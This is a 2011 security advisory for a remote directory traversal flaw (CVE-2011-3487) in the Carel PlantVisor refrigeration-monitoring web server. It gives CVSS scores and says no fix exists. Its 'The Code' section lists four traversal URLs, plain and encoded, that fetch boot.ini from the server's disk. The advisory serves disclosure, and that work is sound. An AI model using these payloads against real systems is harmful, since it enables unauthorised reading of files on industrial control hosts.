Carel PlantVisor 2.4.4 Directory Traversal

2011.09.17
Credit: Luigi Auriemma
Risk: Medium
Local: No
Remote: Yes
CVE: CVE-2011-3487
CWE: CWE-22


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

####################################################################### Luigi Auriemma Application: Carel PlantVisor http://www.carel.com/carelcom/web/eng/catalogo/prodotto_dett.jsp?id_prodotto=310 Versions: <= 2.4.4 Platforms: Windows Bug: directory traversal Exploitation: remote Date: 13 Sep 2011 Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== From vendor's homepage: "PlantVisor Enhanced is monitoring and telemaintenance software for refrigeration and air-conditioning systems controlled by CAREL instruments." ####################################################################### ====== 2) Bug ====== CarelDataServer.exe is a web server listening on port 80. The software is affected by a directory traversal vulnerability that allows to download the files located on the disk where it's installed. Both slash and backslash and their HTTP encoded values are supported. ####################################################################### =========== 3) The Code =========== http://SERVER/..\..\..\..\..\..\boot.ini http://SERVER/../../../../../../boot.ini http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5cboot.ini http://SERVER/..%2f..%2f..%2f..%2f..%2f..%2fboot.ini ####################################################################### ====== 4) Fix ====== No fix. #######################################################################

References:

http://aluigi.altervista.org/adv/plantvisor_1-adv.txt


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